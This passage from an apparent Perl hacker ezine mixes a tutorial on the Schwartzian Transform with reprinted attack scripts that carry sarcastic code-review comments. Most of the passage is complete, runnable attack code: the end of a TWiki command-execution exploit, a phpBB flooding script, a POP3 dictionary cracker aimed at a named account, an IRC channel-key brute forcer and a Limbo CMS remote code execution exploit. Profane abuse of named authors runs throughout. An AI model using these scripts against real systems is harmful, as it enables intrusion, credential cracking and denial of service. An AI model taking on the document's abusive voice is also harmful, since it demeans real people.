($secure) { # HTTPS request $ENV{HTTPS_PROXY} = $proxy; $ENV{HTTPS_PROXY_USERNAME} = $proxy_user; $ENV{HTTPS_PROXY_PASSWORD} = $proxy_pass; } else { # HTTP request $ua->proxy(['http'] => $proxy); $req->proxy_authorization_basic($proxy_user, $proxy_pass); } } # Basic Authorization $req->authorization_basic($basic_auth_user, $basic_auth_pass) if ($basic_auth_user); # Launch request and parse results my $res = $ua->request($req); if ($res->is_success) { # this block is somewhat decent. did someone else code it for you? print LOGFILE "\n".$prompt.$command."\n" if ($logfile and !$testing_vuln); @content = split("\n", $res->content); my $empty_response = 1; foreach $_ (@content) { my ($match) = ($_ =~ /$delim_start(.*)$delim_end/g); # greedy greedy regex if ($debug) { print $_ . "\n"; } else { if ($match) { $empty_response = 0; print $match . "\n" unless ($testing_vuln); } } print LOGFILE $match . "\n" if ($match and $logfile and !$testing_vuln); } if ($empty_response) { if ($testing_vuln) { die "Sorry, exploit didn't work!\nPerhaps TWiki is patched or you supplied a wrong URL (remember it should point to Twiki's search page).\n"; } else { print "[Server issued an empty response. Perhaps you entered a wrong command?]\n"; } } } else { die "Couldn't connect to server. Error message follows:\n" . $res->status_line . "\n"; } } # romansoft? what happened to ridiculing real security professionals? -[0x18] # School You: merlyn --------------------------------------------- [suggested title: ``Sorting with the Schwartzian Transform''] It was a rainy April in Oregon over a decade ago when I saw the usenet post made by Hugo Andrade Cartaxeiro on the now defunct comp.lang.perl newsgroup: I have a (big) string like that: print $str; eir 11 9 2 6 3 1 1 81% 63% 13 oos 10 6 4 3 3 0 4 60% 70% 25 hrh 10 6 4 5 1 2 2 60% 70% 15 spp 10 6 4 3 3 1 3 60% 60% 14 and I like to sort it with the last field as the order key. I know perl has some features to do it, but I can't make 'em work properly. In the middle of the night of that rainy April (well, I can't remember whether it was rainy, but that's a likely bet in Oregon), I replied, rather briefly, with the code snippet: $str = join "\n", map { $_->[0] } sort { $a->[1] <=> $b->[1] } map { [$_, (split)[-1]] } split /\n/, $str; And even labeled it ``speaking Perl with a Lisp''. As I posted that snippet, I had no idea that this particular construct would be named and taught as part of idiomatic Perl, for I had created the Schwartzian Transform. No, I didn't name it, but in the followup post from fellow Perl author and trainer Tom Christiansen, which began: Oh for cryin' out loud, Randal! You expect a NEW PERL PROGRAMMER to make heads or tails of THAT? :-) You're postings JAPHs for solutions, which isn't going to help a lot. You'll probably manage to scare these poor people away from the language forever? :-) BTW, you have a bug. he eventually went on to describe what my code actually did. Oddly enough, the final lines of that post end with: I'm just submitting a sample chapter for his perusal for inclusion the mythical Alpaca Book :-) It would be another 8 years before I would finally write that book, making it the only O'Reilly book whose cover animal was known that far in advance. On the next update to the ``sort'' function description in the manpages, Tom added the snippet: # same thing using a Schwartzian Transform (no temps) @new = map { $_->[0] } sort { $b->[1] <=> $a->[1] || $a->[2] cmp $b->[2] } map { [$_, /=(\d+)/, uc($_)] } @old; Although the lines of code remain in today's perlfunc manpage, the phrase now lives only within perlfaq4. Thus, the phrase became the official description of the technique. So, what is this transform? How did it solve the original problem? And more importantly, what was the bug? Like nearly all Perl syntax, the join, map, sort, and split functions work right-to-left, taking their arguments on the right of the keyword, and producing a result to the left. This linked right-to-left strategy creates a little assembly line, pulling apart the string, working on the parts, and reassembling it to a single string again. Let's look at each of the steps, pulled apart separately, and introduce variables to hold the intermediate values. First, we turn $str into a list of lines (four lines for the original data): my @lines = split /\n/, $str; The split rips the newlines off the end of the string. One of my students named the delimiter specification as ``the deliminator'' as a way of remembering that, although I think that was by accident. Next, we turn the individual lines into an equal number of arrayrefs: my @annotated_lines = map { [$_, (split)[-1]] } @lines; There's a lot going on here. The map inserts each element of @lines into $_, then evaluates the expression, which yields a reference to an anonymous array. To make it a bit clearer, let's write that as: my @annotated_lines = map { my @result = ($_, (split)[-1]); \@result; } @lines; Well, only a bit clearer. We can see that each result consists of two elements: the original line (in $_), and the value of that ugly split-inside-a-literal-slice. The split has no arguments, so we're splitting $_ on whitespace. The resulting list value is then sliced with an index of -1, which means ``take the last element, no matter how long the list is''. So for the first line, we now have an array containing the original line (without the newline) and the number 13. Thus, we're creating @annotated_lines to be roughly: my @annotated_lines = ( ["eir 11 9 2 6 3 1 1 81% 63% 13", "13"], ["oos 10 6 4 3 3 0 4 60% 70% 25", "25"], ["hrh 10 6 4 5 1 2 2 60% 70% 15", "15"], ["spp 10 6 4 3 3 1 3 60% 60% 14", "14"], ); Notice how we can now quickly get at the ``sort key'' for each line. If we look at $annotated_lines[2][1] (15) and compare it with $annotated_lines[3][1] (14), we see that the third line would sort after the fourth line in the final output. And that's the next step in the transform: we want to shuffle these lines, looking at the second element of each list to decide the sort order: my @sorted_lines = sort { $a->[1] <=> $b->[1] } @annotated_lines; Inside the sort block, $a and $b stand in for two of the elements of the input list. The result of the sort block determines the before/after ordering of the final list. In our case, $a and $b are both arrayrefs, so we dereference them looking at the second item of the array (our sort key), and then compare then numerically (with the spaceship operator), yielding the appropriate -1 or +1 value to put them in ascending numeric order. To get a descending order, I could have swapped the $a and $b variables. As an aside, when the keys are equal, the spaceship operator returns a 0 value, meaning ``I don't care what the order of these lines in the output might be''. For many years, Perl's built-in sort operator was unstable, meaning that a 0 result here would produce an unpredictable ordering of the two lines. Recent versions of Perl introduced a stable sort strategy, meaning that the output lines will be in the same relative ordering as the input for this condition. We now have the sorted lines, but it's not exactly palatable for the original request, because our sorted data is buried within the first element of each sublist of our list. Let's extract those back out, with another map: my @clean_lines = map { $_->[0] } @sorted_lines; And now we have the lines, sorted by last column. Just one last step to do now, because the original request was to have a single string: my $result = join "\n", @clean_lines; And this glues the list of lines together, putting newlines between each element. Oops, that's the bug. I really wanted: $line1 . "\n" . $line2 . "\n" . $line3 . "\n" when in fact what I got was: $line1 . "\n" . $line2 . "\n" . $line3 and it's missing that final newline. What I should have done perhaps was something like: my @clean_lines_with_newlines = map "$_\n", @clean_lines; my $result = join "", @clean_lines_with_newlines; Or, since my key-extracting split would have worked even if I had retained the trailing newlines, I could have generated @lines initially with: my @lines = $str =~ /(.*\n)/g; but that wouldn't have been as left-to-right. To really get it to be left to right, I'd have to resort to a look-behind split pattern: my @lines = split /(?<=\n)/, $str; But we're now getting far enough into the complex code that I'm distracting even myself as I write this, so let's get back to the main point. In the Schwartzian Transform, the keys are extracted into a readily accessible form (in this case, an additional column), so that the sort block be executed relatively cheaply. Why does that matter? Well, consider an alternative steps to get from @lines to @clean_lines: my @clean_lines = sort { my $key_a = (split ' ', $a)[-1]; my $key_b = (split ' ', $b)[-1]; $key_a <=> $key_b; } @lines; Instead of computing each key all at once and caching the result, we're computing the key as needed. There's no difference functionally, but we pay a penalty of execution time. Consider what happens when sort first needs to know how the line ending in 13 compares with the line ending in 25. These relatively expensive splits are executed for each line, and we get 13 and 25 in the two local variables, and an appropriate response is returned (the line with 13 sorts before the line with 25). But when the line ending with 13 is then compared with the line ending with 15, we need to re-execute the split to get the 13 value again. Oops. And while it may not make a difference for this small dataset, once we get into the tens or hundreds or thousands of elements in the list, the cost of recomputing these splits rapidly dominates the calculations. Hence, we want to do that once and once only. I hope this helps explain the Schwartzian Transform for you. Until next time, enjoy! -[0x19] # oh noez spiderz ------------------------------------------------ #!/usr/bin/perl print q{ _________________________________________________________________________ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>| / \ \ \ ,, / / '-.`\()/`.-' .--_'( )'_--. / /` /`""`\ `\ \ * SpiderZ ForumZ Security * | | >< | | \ \ / / '.__.' => Exploit phpBB 2.0.19 ( by SpiderZ ) => Topic infinitely exploit => Sito: www.spiderz.tk _________________________________________________________________________ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>| }; # well isn't that just fucking pretty # No good information, just you marking your territory by taking a piss on us # we're right offended, aren't we? use IO::Socket; # this looks lonely. If you have time to write that ascii art you # have time to write a few more use lines, they might help you $x = 0; print q( Exploit phpBB 2.0.19 ( by SpiderZ ) ); print q( # you know what they say, english is the language of the internet # perhaps it is better for both of us that I can't read that => Scrivi l'url del sito senza aggiungere http & www => Url: ); $host = ; chop ($host); print q( => Adesso indica in quale cartella e posto il phpbb => di solito si trova su /phpBB2/ o /forum/ => Cartella: ); $pth = ; chop ($pth); print q( => Occhio usa un proxy prima di effettuare l'attacco => il tuo ip verra spammato sul pannello admin del forum => Per avviare l'exploit scrivi " hacking " => ); $type = ; chop ($type); # most would prefer to have command line options as oppose to # being walked through like that. # regardless, it is chompd (my $type = ); if($type == 1){ while($x != 0000) { # what the fuck is wrong with you $x++; } } elsif ($type == hacking){ while($x != 10000) { $postit = "post=Hacking$x+&username=Exploit&subject=Exploit_phpbb_2.0.19&message=Topic infinitely exploit phpBB 2.0.19"; $lrg = length $postit; my $sock = new IO::Socket::INET ( PeerAddr => "$host", # Aren't you glad you had a chance to quote for no reason? PeerPort => "80", Proto => "tcp", ); die "\nConnessione non riuscita: $!\n" unless $sock; ## Invia Search exploit phpbb by SpiderZ # WE GOT IT THE FIRST TIME, I DON'T WANT TO SEE "SpiderZ" AGAIN print $sock "POST $pth"."posting.php?mode=newtopic&f=1 HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 \n"; print $sock "Referer: $host\n"; print $sock "Accept-Language: en-us\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; print $sock "Content-Length: $lrg\n\n"; print $sock "$postit\n"; close($sock); # we have modules for that shit syswrite STDOUT, "."; $x++; # use a fucking for loop, you dipshit # don't steal str0ke's trick } }else{ die " Error ! riprova... \n"; } # www.spiderz.tk [2006] # DON'T BE PROUD omg lyk teh spyderz r teh skary!@!! run 4 ur lyf lol omg!!11!2 dewd u r so eleet koding bomurz 4 php appz. lyk omg i wish i wuz sush a skild hakr lyk u! i want u 2 hav my baybees lol!!! mad propz 4 teh awsum work dat u do! it must hav ben so hard 2 figur owt how 2 do dis awsum hakr stuff! maby sum day i can b lyk u and hak stuf 2!!! lol spyderz rawr! wet urself!!!1 zomg! Seriously, though; props for the cute, little spider. ASCII art is apparently the height of your technical prowess, you ignorant fuckstick. Your coding skills are sub-par, your site is trash, this has nothing to do with security, and your ego, like that of 99.9997% of all exploit authors, is a few zettabytes too big for my poor, bleeding eyeballs to handle. But really, this isn't an exploit. It's not even clever. It's a half-assed Perl script that floods a half-assed PHP script, subsequently messing up a half-assed forum. It's so half-assed, in fact, that the half-assed administrator(s) of the half-assed forums which you undoubtedly plan on stroking your inconceivably small e-peen over while running your half-assed script could clean up your half-assed "attack" with a single, half-assed SQL command followed by a subsequent ban of your half-assed IP range, YOU HALF-ASSED, MENTALLY DERANGED, POSEUR, SCRIPT KIDDY, COCK SUCKER! Ahem. lol. spyderz. rawr... bitch -[0x1A] # Hello h0no ----------------------------------------------------- Just the other day I was reading h0no 3. It's quite the publication. Hours of amusement. Like a good novel, I could go read it again and get much more out of it. Sure, it might have been a bit reminiscent of past h0no writes. Sure, the leet speak might be annoying for 95% (or a similar made-up percentage!) of the people that read it. Sure, h0no can be as self-glorifying as ever. Sure, it is full of old news. But despite the faults, that's one damn fine publication. Action packed. Cheers to the torch carriers! There's one small issue, though. You mention a lot of source. You list a ton of source. But very little is printed. Show us the damn .pl. Show us your .pl, show us everyone's .pl. That could be Perl Underground 4 right there. Can you take the heat, do you have any good perl source code to show for yourselves? Not the shitty stuff, we've covered that before. Can you impress us? I don't care. Release it all. Publicly or privately. Give us the .pl! Free the .pl! Instead we'll shame the horrible source you made fun of people by displaying. #!/usr/bin/perl -w # warnings > -w # use strict use Net::POP3; # setup my $host = "poczta.onet.pl"; my $user = "malgosia181"; my $dict = "polish"; print "mrack.pl by konewka\n"; # lame open(WORDLIST, $dict); $pass = ; # how about you loop that, while (my $pass = ) { $| = 1; while ($pass ne "") { $pop3 = Net::POP3->new($host); die "Can't connect !" unless $pop3; $pass = substr($pass, 0, length($pass)-1); $cracked = $pop3->login($user, $pass); if (defined($cracked)) { print "\nCracked ! Password = ".$pass."\n"; $pop3->quit(); close(WORDLIST); exit 1337; # no, it really isn't } else { print "."; } $pass = ; } printf "I guess nothing was cracked this time.\n"; # why printf now? Can't be consistent? Confused? #!/usr/bin/perl print "Hello, World!\n"; print "ls"; ^ --- 0H FUq B4TM4N H3 W1LL T4KE 0V3R TH3 W0RLD W1TH C0D3 LIK3 D1S # I think that about covers it. #!/usr/bin/perl -w # Net::IRC is for noobs. Get with the PoCo aMiGo use Net::IRC; use Net::IRC::Event; #open(WL, "/home/uberuser/wordlist") or die "Failed to open #wordlist$!\n"; # @keys = ; # chomp(@keys); # close(WL); # I'm glad that is commented out, and you should be too $irc = new Net::IRC; $conn = $irc->newconn(Nick => 'LEECHAXSS', Server => 'irc.servercentral.net', Port => 6667, Username => "iheartu", Ircname => 'I LOVE CRAXING DOT IN'); $chan = "#pokemon"; # isn't this all so cute! # difficulties being consistent with your quoting? sub on_connect { ($self) = shift; $self->join("#seele"); $stime = `date +\"%b/%d/%Y %H:%M:%S\"`; # We have Perl shit for that! foreach $chankey (`cat wordlist`) { # you disgust me print "TRYING: $chankey\n"; $self->join("$chan", "$chankey"); # just wouldn't be complete without quoting variable names. sleep(2); # and unnecessary parens } } sub on_names { $endtime = `date +\"%b/%d/%Y %H:%M:%S\"`; $self->privmsg("#seele", "uberuser: $chan key: $chankey"); $self->privmsg("uberuser", "$chan key: $chankey"); $self->quit("I LOL'd"); print "START TIME: $stime\nEND TIME: $endtime\n"; print "$chan KEY: $chankey\n"; } #$conn->add_handler('msg', \&on_msg); #$conn->add_handler('mode', \&on_mode); $conn->add_global_handler('376', \&on_connect); $conn->add_global_handler(353, \&on_names); $irc->start; # between the Net::IRC crap you manage to fit...crap! Congrats Want more of that h0no? Your vanquished foes ridiculed yet again? FREE THE SRC. -[0x1B] # Killer str0ke -------------------------------------------------- Glad to meet you again! Last but not least. The amount of ribbing you get certainly isn't fair. What shall you do? #!/usr/bin/perl ## ## Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit ## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl ## /str0ke (milw0rm.com) use LWP::Simple; # Why were you too lazy to create new shitty code, instead of reusing this later? $serv = $ARGV[0]; $path = $ARGV[1]; $command = $ARGV[2]; # my ($serv, $path, $command) = @ARGV; $cmd = "echo start_er;". "$command;". "echo end_er"; # "echo start_er;$command;echo end_er" # "echo start_er;" . $command . ";echo end_er"; # however you choose to do it my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd)); # wow, map AND unpack in a one-liner! you got mad skills! sub usage { print "Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)"; print "Usage: $0 www.example.com /directory/ \"cat config.php\"\n"; print "sever - URL\n"; print "path - path to limbo\n"; print "command - command to execute\n"; exit (); # really, why the parens? some psycho paren addiction you have } sub exploit { print qq(Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit\n/str0ke (milw0rm.com)\n\n); $URL = sprintf("http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)",$serv,$path); # sprintf now, are we? direct interpolation just isn't good enough anymore my $content = get "$URL"; # abandoning your paren policy AND using unnecessary quoting if ($content =~ m/start_er(.*?)end_er/ms) { my $out = $1; $out =~ s/^\s+|\s+$//gs; # depending on the circumstances you might want //m as well if ($out) { print "$out\n"; } # print "$out\n" if $out; } } if (@ARGV != 3){&usage;}else{&exploit;} # again with the ugliness # you don't even tab or line break consistently # just like to wrap it up with this shit ending? # Because we didn't see milw0rm the first two times... # milw0rm.com [2006-03-01] Thus did the Lords speaketh of his abominable works, "Your Lords, your Gods, contemplate this work and find themselves, even through their boundless wisdom, intellect, and fortitude, able to contrive naught but reticient bewilderment, credence to the defilement of our image and standards, the architect of said afflictions irrefutably the personification of intellectual ineptitude and masochistic engrossment; inexhaustible beguilement the conclusive rumneration for those imprudent and pertinacious enough to perchance jeopardize their psychological equanimity through compliant subjection to the aforementioned onslaught of incongruity. Remove this heathen from our presence, for he is a blemish upon the face of all Creation." Thus was str0ke cast from his home and stoned before the city gates, damned to an eternity of flame and retribution for his desecrations. Thus did Jesus speaketh of their justice, "Fucking OWNED!" Thus did the Lords speaketh of Jesus' observations, "Word." Thus did the Gods of Perl Underground, the Lords of all creation, layeth the holy smackdown on str0ke's candy ass. -[0x1C] # Shoutz and Outz ------------------------------------------------ A big "Thank you" goes out to everyone who has helped make this possible. Specific thanks go out to our three wise men, Jeff Pinyan (??), Mark Jason Dominus, and Randal L. Schwartz, for continually producing irresitable articles. It has been a great ride, these three ezines. Consider this the end of a trilogy. Perl Underground 4 could be a long time away, it could be a small magazine, it could be something very different, it could be more of the same, or it could be nothing at all. Regardless of the ezine status, the members of Perl Underground will hack onward. s^fight^code^g; print; We shall go on to the end, we shall code in France, we shall code on the seas and oceans, we shall code with growing confidence and growing strength in the air, we shall defend our Island, whatever the cost may be, we shall code on the beaches, we shall code on the landing grounds, we shall code in the fields and in the streets, we shall code in the hills; we shall never surrender Please distribute. ___ _ _ _ _ ___ _ | _ | | | | | | | | | | | | | _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| | | | -_| _| | | | | | . | -_| _| | | _| . | | | | . | |_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___| Forever Abigail $_ = "\x3C\x3C\x45\x4F\x46\n" and s/<